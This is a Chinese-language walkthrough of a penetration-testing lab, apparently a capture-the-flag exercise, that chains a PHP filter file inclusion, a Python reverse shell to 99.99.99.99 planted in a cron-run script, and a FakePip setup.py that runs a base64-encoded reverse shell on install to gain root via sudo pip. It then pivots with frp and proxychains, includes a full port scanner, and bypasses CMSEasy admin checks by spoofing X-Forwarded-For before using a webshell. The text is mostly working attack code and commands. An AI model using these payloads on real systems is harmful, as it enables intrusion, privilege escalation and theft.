复健一套渗透靶场🎯
网络拓扑结构如下:
首先扫出来192.168.1.7
有服务,源码看到一个疑似接口?lang
和敏感信息(user)mamadou
不能rce但是可以filter文件包含,dirb http://192.168.1.7/?lang=
(这里http和https扫出来的东西是不一样的)扫出来index
http://192.168.1.7/?lang=php://filter/read/convert.base64-encode/resource=index
base64解开拿到passwdNiamey4Ever227!!!
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it
if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}
?>
用nmap扫一下192.168.1.7
,nmap -sT -Pn 192.168.1.7
,除了80端口以外,111
和3333
也有服务
尝试利用上面的信息登录,3333端口成功登录
发现是一个python2.x的服务,用pty造一个交互shell,达到flag1
import pty
pty.spawn("/bin/bash")
cat /etc/passwd
发现新用户devops
跟进去发现flag2.txt
无法读取
查devops用户下的文件find / -user devops 2>/dev/null
/srv/.antivirus.py
可读可写,find / -name *antivirus* 2>/dev/null
查看发现有对应的service
是个定时任务,300s启动一次antivirus.py
,于是我们改写antivirus.py
的内容,等待几分钟就可以了
f=open('/home/devops/flag2.txt','r').read()
open('/tmp/flag2.txt','w').write(f)
进一步弹个shell
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("99.99.99.99",1235))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
接着尝试能否将devops用户提权root
,sudo -l
查
pip
命令是NOPASSWD
的,可以使用https://github.com/0x00-0x00/FakePip`fakepip`打,伪造`setup.py`
另外如果需要使用别的命令提权可以来这儿找找https://gtfobins.github.io/#
from setuptools import setup
from setuptools.command.install import install
import base64
import os
class CustomInstall(install):
def run(self):
install.run(self)
LHOST = 'localhost' # change this
LPORT = 13372
reverse_shell = 'python -c "import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\'{LHOST}\', {LPORT})); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"'.format(LHOST=LHOST,LPORT=LPORT)
encoded = base64.b64encode(reverse_shell)
os.system('echo %s|base64 -d|bash' % encoded)
setup(name='FakePip',
version='0.0.1',
description='This will exploit a sudoer able to /usr/bin/pip install *',
url='https://github.com/0x00-0x00/fakepip',
author='zc00l',
author_email='andre.marques@esecurity.com.br',
license='MIT',
zip_safe=False,
cmdclass={'install': CustomInstall})
kali本地存好exp,python启一个http服务python3 -m http.server 8000
,wget
传到shell里
改掉localhost->99.99.99.99
,sudo /usr/bin/pip install . --upgrade --force-reinstall
,kali机监听13372
端口
拿到root
权限
接着配置frp
代理,wget
传到root
权限shell中
建立代理服务端./frps -c ./frps.ini
连接服务端
成功连接后设置proxychains
配置文件,新增一条socks5
记录vim /etc/proxychains.conf
找个scan.py开扫proxychains python scan.py 192.168.1.1 192.168.1.10 -t 20
(要加proxychains走代理)
!/usr/bin/env python
# -*- encoding: utf-8 -*-
import Queue
import threading
from threading import Thread
import time
import re
import sys
import os
import socket
import optparse
import urllib2
import socks
'''
一般默认常用端口扫描介绍:
3311:3312 kangle主机管理系统
3389 远程登录
4440 rundeck是用java写的开源工具
5672 rabbitMQ
5900 VNC
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
6379 redis 一般无认证,可直接访问
7001 weblogic
8080 tomcat
8089 jboss
8161 activeMQ
8649 ganglia集群系统监控软件
9000 fastcgi服务
9090 IBM服务
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
9999 amg加密版
10050 zabbix
11211 memcache 未授权访问
27017,28017 mongodb 未授权访问 mongodb默认无口令登录
3777 大华监控设备
50000 sap netweaver远程命令执行漏洞
50060 50070 hahoop、apache hasoop
21 默认是ftp端口 主要看是否支持匿名,也可以跑弱口令
22 默认是ssh端口
23 默认是telnet端口
25 默认是smtp服务
53 默认是DNS
123 是NTP
161,162,8161 snmp服务(8161 IBM一款产品所开放的SNMP)
389 ldap团体
443 openssl 、hearthleed
445 永恒之蓝
512,513 rlogin服务或者是exec
873 rsync 主要看是否支持匿名,也可以跑弱口令
1433 mssql数据库
1080 socks代理
1521 oracle
1900 bes默认后台
2049 nfs服务
2601,2604 zebra路由 默认密码zebra
2082,2083 cpanel主机管理系统
3128,3312 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
3306 mysql数据库
4899 R-admin 连接端
4440 rundeck rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
8834 nessus
4848 glashfish
'''
def ip2num(ip):
ip = [int(x) for x in ip.split('.')]
return ip[0] << 24 | ip[1] << 16 | ip[2] << 8 | ip[3]
def num2ip(num):
return '%s.%s.%s.%s' % ((num & 0xff000000) >> 24,
(num & 0x00ff0000) >> 16,
(num & 0x0000ff00) >> 8,
num & 0x000000ff)
def bThread():
global queue
global SETTHREAD
print '[Note] Running...\n'
sav_log('[Note] Running...\n')
threadl = []
threadl = [tThread(queue) for x in xrange(0, int(SETTHREAD))]
for t in threadl:
t.start()
for t in threadl:
t.join()
#输入到结束
def ip_range(start, end):
return [num2ip(num) for num in range(ip2num(start), ip2num(end) + 1) if num & 0xff]
# http请求获取返回内容
'''
return [0] 文件内容
return [1] 返回服务状态码
return [2] 返回服务器类型
return [3] location
return [4] title
'''
'''port scan'''
def scan_open_port_server():
global lock
while True:
host,port=queue.get()
ss=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ss.settimeout(2)
try:
ss.connect((host,port))
lock.acquire()
sav_log("%s 开放端口 %s %s" % (host, port,PORT[port]))
lock.release()
ss.close()
except:
pass
queue.task_done()
def sav_log(content):
filename = "log.txt"
with open(filename,"a") as file:
file.write(content+"\n")
def sock_reg():
SOCKS_PROXY_HOST = '127.0.0.1'
SOCKS_PROXY_PORT = 1234
default_socket = socket.socket
socks.set_default_proxy(socks.SOCKS5, SOCKS_PROXY_HOST,SOCKS_PROXY_PORT)
socket.socket = socks.socksocket
if __name__ == '__main__':
usage="usage: mul_scan.py 192.168.1.1 192.168.1.254 -t 20"
parser = optparse.OptionParser(usage=usage)
parser.add_option("-t", "--threads", dest="NUM",help="Maximum threads, default 20")
parser.add_option("-b", "--start-ip", dest="startIp",help="start_ip")
parser.add_option("-e", "--end-ip", dest="endIp",help="end_ip")
parser.add_option("-x", "--proxy-socks5", dest="soc",help="-x socks5",type ="string")
(options, args) = parser.parse_args()
if len(args) < 1:
parser.print_help()
sys.exit()
if options.NUM!=None and int(options.NUM)!=0:
SETTHREAD=int(options.NUM)
print "SETTHREAD:"+str(SETTHREAD)+"\n"
else:
SETTHREAD=20
if options.soc!=None and options.soc=="socks5":
sock_reg()
print "socks5"
#日志格式化
filename = "log.txt"
if (os.path.exists("./"+filename)):
os.remove("./"+filename)
#接受开始ip和结束ip
startIp =str(options.startIp)
endIp = str(options.endIp)
startIp=args[0]
endIp=args[1]
lock = threading.Lock()
#程序运行时间
PORT={445:"Smb",80:"Web",8080:"Web",3311:"kangle主机管理系统",3312:"kangle主机管理系统",3389:"远程登录",4440:"rundeck是用java写的开源工具",5672:"rabbitMQ",5900:"vnc",6082:"varnish",7001:"weblogic",8161:"activeMQ",8649:"ganglia",9000:"fastcgi",9090:"ibm",9200:"elasticsearch",9300:"elasticsearch",9999:"amg",10050:"zabbix",11211:"memcache",27017:"mongodb",28017:"mondodb",3777:"大华监控设备",50000:"sap netweaver",50060:"hadoop",50070:"hadoop",21:"ftp",22:"ssh",23:"telnet",25:"smtp",53:"dns",123:"ntp",161:"snmp",8161:"snmp",162:"snmp",389:"ldap",443:"ssl",512:"rlogin",513:"rlogin",873:"rsync",1433:"mssql",1080:"socks",1521:"oracle",1900:"bes",2049:"nfs",2601:"zebra",2604:"zebra",2082:"cpanle",2083:"cpanle",3128:"squid",3312:"squid",3306:"mysql",4899:"radmin",8834:'nessus',4848:'glashfish'}
starttime=time.time()
queue = Queue.Queue()
iplist = ip_range(startIp, endIp)
sav_log('端口采用默认扫描请自行进行比对:\nbegin Scan '+str(len(iplist))+" ip...")
for i in xrange(SETTHREAD):
st1 = threading.Thread(target=scan_open_port_server)
st1.setDaemon(True)
st1.start()
for host in iplist:
for port in PORT.keys():
queue.put((host,port))
queue.join()
sav_log('All RUN TIME:'+str(time.time()-starttime))
扫到.6
和.8
开放80
端口有服务
.6
是个CMSEASY
服务,还在kaliproxychains firefox
进
版本太老了,可用的洞好多,这里用一个越权漏洞打
下一份源码,在/lib/admin/admin.php
可以看到
if (!defined('ROOT')) exit('Can\'t Access !');
abstract class admin extends act {
function __construct() {
if (ADMIN_DIR!=config::get('admin_dir')) {
config::modify(array('admin_dir'=>ADMIN_DIR));
front::flash('后台目录更改成功!');
}
front::$rewrite=false;
parent::__construct();
$servip = gethostbyname($_SERVER['SERVER_NAME']);
//if($this instanceof file_admin && in_array(front::get('act'), array('updialog','upfile','upfilesave','netfile','netfilesave','swfsave'))) return;
if($servip==front::ip()&&front::get('ishtml')==1) return;
$this->check_admin();
}
function check_admin() {
if (cookie::get('login_username')&&cookie::get('login_password')) {
$user=new user();
$user=$user->getrow(array('username'=>cookie::get('login_username')));
$roles = session::get('roles');
if ($roles && is_array($user)&&cookie::get('login_password')==front::cookie_encode($user['password'])) {
$this->view->user=$user;
front::$user=$user;
}else{
$user=null;
}
}
if (!isset($user)||!is_array($user)) {
front::redirect(url::create('admin/login'));
}
}
}
check_admin
这个函数用来验证管理员是否登录
if($servip==front::ip()&&front::get('ishtml')==1) return;
$this->check_admin();
在这里看到,如果当前ip是$servip
,即服务器ip,且ishtml==1
就直接return
,没有走下面check_admin
函数的检查
再跟进看cmseasy
获取当前ip的方法
static function ip() {
if ($_SERVER['HTTP_CLIENT_IP']) {
$onlineip = $_SERVER['HTTP_CLIENT_IP'];
}
elseif ($_SERVER['HTTP_X_FORWARDED_FOR']) {
$onlineip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif ($_SERVER['REMOTE_ADDR']) {
$onlineip = $_SERVER['REMOTE_ADDR'];
}
else {
$onlineip = $_SERVER['REMOTE_ADDR'];
}
if(config::get('ipcheck_enable')){
if(!preg_match('/^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$/', $onlineip)){
exit('来源非法');
}
}
return $onlineip;
}
elseif ($_SERVER['HTTP_X_FORWARDED_FOR'])
,于是我们直接伪造HTTP_X_FORWARDED_FOR
为192.168.1.6
payload:
/index.php?admin_dir=admin&site=default&ishtml=1
登进后台
源码里有flag
实际上现在只是登录了后台,并不是管理员身份,跳到其他页面仍然需要身份验证,但我们仍可以通过上述构造思路绕过,翻一翻发现语言设置页面给了写好的马
case=language&act=edit&table=orders&admin_dir=admin&site=default&ishtml=1
然后很抽象,本来写进去的马实际上叫administrator233.php
AntSword
设置socks5
连上马
成功上线
查/config/config.php
看到数据库信息'password'=>'Simplexue123'
和flag3
上线数据库,找到flag4
最后/etc/flag
里面还有flag5
.8
的服务是个数据库,服务连不上了,看了一眼都是sqlmap
可以做的简单web,跟渗透没关系不打了